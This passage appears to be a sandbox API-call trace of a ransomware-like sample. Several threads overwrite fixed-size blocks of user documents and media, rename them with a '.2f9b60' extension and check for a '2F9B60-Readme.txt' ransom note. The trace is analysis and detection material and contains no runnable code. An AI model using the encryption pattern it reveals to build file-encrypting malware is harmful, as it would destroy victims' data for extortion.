[0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866bc0 [0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0103.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261610) returned 1 [0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261610 [0103.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615e0 [0103.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202615e0) returned 1 [0103.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866bc0) returned 1 [0103.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0103.458] WriteFile (in: hFile=0xdd4, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f15fc20, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x2f15fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0103.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e640 [0103.459] SetFilePointerEx (in: hFile=0xdd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.460] WriteFile (in: hFile=0xdd4, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x2f15fcd0, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x2f15fcd0*=0x14c, lpOverlapped=0x0) returned 1 [0103.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0103.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263230) returned 1 [0103.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20263230 [0103.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0103.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0103.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0103.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f630 [0103.869] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="82") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="b2") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="4e") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="db") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="04") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="aa") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="d4") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="42") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="b0") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="93") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="df") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="85") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="fd") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="76") returned 2 [0103.869] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="42") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="35") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="f1") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="c8") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="8b") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="57") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="22") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="78") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="1d") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f660, _Format="%c%c" | out: _Dest="b6") returned 2 [0103.870] sprintf (in: _Dest=0x1cd9f662, _Format="%c%c" | out: _Dest="97") returned 2 [0103.870] RtlInitAnsiString (in: DestinationString=0x2f15fd48, SourceString="82b2a54edb04aad442b093df85fd764235f1c88b5722781db697" | out: DestinationString="82b2a54edb04aad442b093df85fd764235f1c88b5722781db697") [0103.870] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f15fd18, SourceString="82b2a54edb04aad442b093df85fd764235f1c88b5722781db697", AllocateDestinationString=1 | out: DestinationString="82b2a54edb04aad442b093df85fd764235f1c88b5722781db697") returned 0x0 [0103.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20503d90 [0103.870] wcscat (in: _Dest=0x2050a650, _Source="82b2a54edb04a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a" [0103.870] wcscat (in: _Dest=0x2050a650, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a.2f9b60" [0103.870] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a.2f9b60", NtPathName=0x2f15fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\82b2a54edb04a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x20501a00 [0104.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501a00) returned 1 [0104.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057460) returned 1 [0104.427] NtQueryInformationFile (in: FileHandle=0xdd4, IoStatusBlock=0x2f15fd58, FileInformation=0x2f15fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f15fd58, FileInformation=0x2f15fd68) returned 0x0 [0104.427] NtSetInformationFile (FileHandle=0xdd4, IoStatusBlock=0x2f15fd58, FileInformation=0x2f15fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 [0104.432] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0104.432] FlushFileBuffers (hFile=0xdd4) returned 1 [0104.435] CloseHandle (hObject=0xdd4) returned 1 [0104.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a410 [0104.436] wcscpy (in: _Dest=0x2050a410, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.436] wcscat (in: _Dest=0x2050a410, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.437] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a410) returned 1 [0104.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 Thread: id = 932 os_tid = 0x1538 [0101.207] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jwyxnvydekh9voeu.docx")) returned 0x2020 [0101.208] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx", dwFileAttributes=0x20) returned 1 [0102.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jwyxnvydekh9voeu.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x163c [0102.901] GetFileSizeEx (in: hFile=0x163c, lpFileSize=0x2eddf7a0 | out: lpFileSize=0x2eddf7a0*=88002) returned 1 [0102.901] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x157be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.901] ReadFile (in: hFile=0x163c, lpBuffer=0x2eddf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eddf768, lpOverlapped=0x0 | out: lpBuffer=0x2eddf720*, lpNumberOfBytesRead=0x2eddf768*=0x4, lpOverlapped=0x0) returned 1 [0102.902] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0102.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261fa0 [0102.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0102.903] NtQuerySystemTime (in: CurrentTime=0x2eddf660 | out: CurrentTime=0x2eddf660*=132462177084118000) returned 0x0 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x4ab29cd0 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x5379b8b3 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x36a0f790 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x2597f311 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x4995f170 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x7cf7e5d2 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x6658d8db [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x3f70f919 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x1474b3c4 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x721d3681 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x50240d37 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x79dceeec [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x28ae979c [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x20e02be8 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x46c0370f [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x7042b0f7 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0xfcb5bf9 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x4523d7e6 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0xaf57f4 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x5a2b573 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x32642615 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x2959a321 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0xc10b403 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x1ffbd056 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x5dd7585d [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x5f5d8b2a [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0xa3a8f2b [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x34cdf26b [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x1c35ef9 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x3a54eb39 [0102.903] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x2c3afb15 [0102.904] RtlRandomEx (in: Seed=0x2eddf650 | out: Seed=0x2eddf650) returned 0x54ae061c [0102.911] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.911] ReadFile (in: hFile=0x163c, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.911] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0102.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0102.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20477790 [0102.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0102.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262330 [0102.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262330) returned 1 [0102.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.912] WriteFile (in: hFile=0x163c, lpBuffer=0x20477790*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesWritten=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0103.356] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.356] ReadFile (in: hFile=0x163c, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.356] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0103.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260b30) returned 1 [0103.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20477790 [0103.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b30 [0103.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260aa0 [0103.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260aa0) returned 1 [0103.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.357] WriteFile (in: hFile=0x163c, lpBuffer=0x20477790*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesWritten=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0103.363] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x11bc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.363] ReadFile (in: hFile=0x163c, lpBuffer=0x1ce779b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x1ce779b0*, lpNumberOfBytesRead=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.363] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x11bc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0103.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616a0) returned 1 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20477790 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0103.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0103.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616d0) returned 1 [0103.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0103.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0103.364] WriteFile (in: hFile=0x163c, lpBuffer=0x20477790*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2eddf6c0, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesWritten=0x2eddf6c0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0103.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864760 [0103.366] SetFilePointerEx (in: hFile=0x163c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.366] WriteFile (in: hFile=0x163c, lpBuffer=0x1b865d30*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x2eddf770, lpOverlapped=0x0 | out: lpBuffer=0x1b865d30*, lpNumberOfBytesWritten=0x2eddf770*=0x15c, lpOverlapped=0x0) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b865d30) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eef0) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f670) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864760) returned 1 [0103.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261fa0) returned 1 [0103.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202622a0) returned 1 [0103.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0103.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1730 [0103.792] wcscpy (in: _Dest=0x202b1730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx" [0103.792] wcscat (in: _Dest=0x202b1730, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx.2f9b60" [0103.792] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx.2f9b60", NtPathName=0x2eddf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\jWYxnvYdEkH9Voeu.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106880 [0104.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106880) returned 1 [0104.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdd20) returned 1 [0104.784] NtQueryInformationFile (in: FileHandle=0x163c, IoStatusBlock=0x2eddf7f8, FileInformation=0x2eddf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2eddf7f8, FileInformation=0x2eddf808) returned 0x0 [0104.784] NtSetInformationFile (FileHandle=0x163c, IoStatusBlock=0x2eddf7f8, FileInformation=0x2eddf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0104.786] FlushFileBuffers (hFile=0x163c) returned 1 [0104.846] CloseHandle (hObject=0x163c) returned 1 [0105.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4920 [0105.014] wcscpy (in: _Dest=0x202a4920, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0105.014] wcscat (in: _Dest=0x202a4920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 [0105.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 Thread: id = 933 os_tid = 0x153c [0101.211] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KfvF.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kfvf.mkv")) returned 0x2020 [0101.211] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KfvF.mkv", dwFileAttributes=0x20) returned 1 [0102.938] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\KfvF.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\kfvf.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0102.939] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x2f2afdc0 | out: lpFileSize=0x2f2afdc0*=20708) returned 1 [0102.939] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x50e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.939] ReadFile (in: hFile=0x1720, lpBuffer=0x2f2afd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f2afd88, lpOverlapped=0x0 | out: lpBuffer=0x2f2afd40*, lpNumberOfBytesRead=0x2f2afd88*=0x4, lpOverlapped=0x0) returned 1 [0102.940] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261130 [0102.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0102.940] NtQuerySystemTime (in: CurrentTime=0x2f2afc80 | out: CurrentTime=0x2f2afc80*=132462177084430000) returned 0x0 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x16291591 [0102.940] RtlRandomEx (in: Seed=0x2f2afc70 | out: Seed=0x2f2afc70) returned 0x55f4a6d7 